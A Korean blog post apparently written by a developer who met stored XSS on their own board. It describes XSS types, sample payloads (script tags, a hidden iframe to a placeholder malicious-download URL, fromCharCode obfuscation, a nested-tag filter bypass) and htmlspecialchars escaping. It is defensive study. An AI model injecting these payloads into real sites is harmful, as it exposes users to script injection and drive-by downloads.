본문 바로가기

보안

XSS와 대응방안

XSS (Cross-Site Scripting)

접근 경로 : 대표 포트폴리오 게시판 글쓰기 구현 중, alert을 반복문으로 무한으로 돌리는 스크립트를 작성해보고 문제점을 확인한 뒤 해당 기법을 공부하게 됨.


'크로스 사이트 스크립팅'


사용자의 입력값에 의해 자신 혹은 타인의 브라우저에 스크립트를 삽입하여 사용자를 공격하는 기법.


1. 공격유형

- Reflected XSS : 사용자 입력값이 즉시 나타나는 비지속적 유형.

- Stored XSS : 사용자 입력이 DB에 저장되어 지속적으로 발생하는 유형. (필자가 경험한 공격 유형이 이에 해당. 사용자의 입력값을 별도 처리 없이 그대로 출력시킴. )

- DOM XSS : 클라이언트에서 수신받은 문서를 공격자가 의도한 문서로 조작한다.


2. 공격방법(테스트 시나리오)


2-1. <script> 태그 삽입

URL 파라미터 값에 스크립트를 넣는 방법
<script>와 </script> 넣는 내용에 따라 다양한 기법을 구사할 수 있다.



2-2. <iframe> 태그 삽입

  악성 코드가 포함된 사이트로 세션을 연결해 자동으로 프로그램을 다운로드.

ex) <iframe src=http://sample.com/~bbs/hack.htm name="Click here" width=0 heigth=0 frameborder=0></iframe>



2-3. <Object> 태그 삽입

object 태그와 ITS 프로토콜 핸들러에 의한 chm처리시의 취약점을 이용한다.



2-4.String.fromCharCode()함수 삽입

URL 정보를 인코딩 하는 기법이며, 일반 문자열을 10진수로 표기(관리자의 가독성을 떨어뜨림)

ex) <script> alert(String.fromCharCode(116,101,115,116))</script>


3. 대응방안


3-1. 치환


3-1-1. htmlspecialchars 함수


ex) $_POST['변수명'] -> htmlspecialchars($_POST['변수명'])


3-1-2. replace(문자열 ,찾을 문자열, 바꿀 문자열)

사용자가 입력가능한 문자만 지정하고 그 문자가 아니면 필터링. (일반적으로 바꿀 문자열을 공백처리하는 경우가 많음)

하지만! 이 방법은 사용하지 않기로 하자.


<scr<scriptipt>alert('test');</script>

다음과 같이 입력한다면 공백처리가 되지만 정상적인 공격구문을 완성할 수 있기 때문.




(해당 글은 업데이트가 필요한 내용입니다. 다른 대응 추가 공부 필요.)




'보안' 카테고리의 다른 글

DNS TXT Record 로 Let's Encrypt SSL 인증서 발급 받기  (2) 2019.05.23
PHP 로 CSS/JS 보호하기  (0) 2017.12.26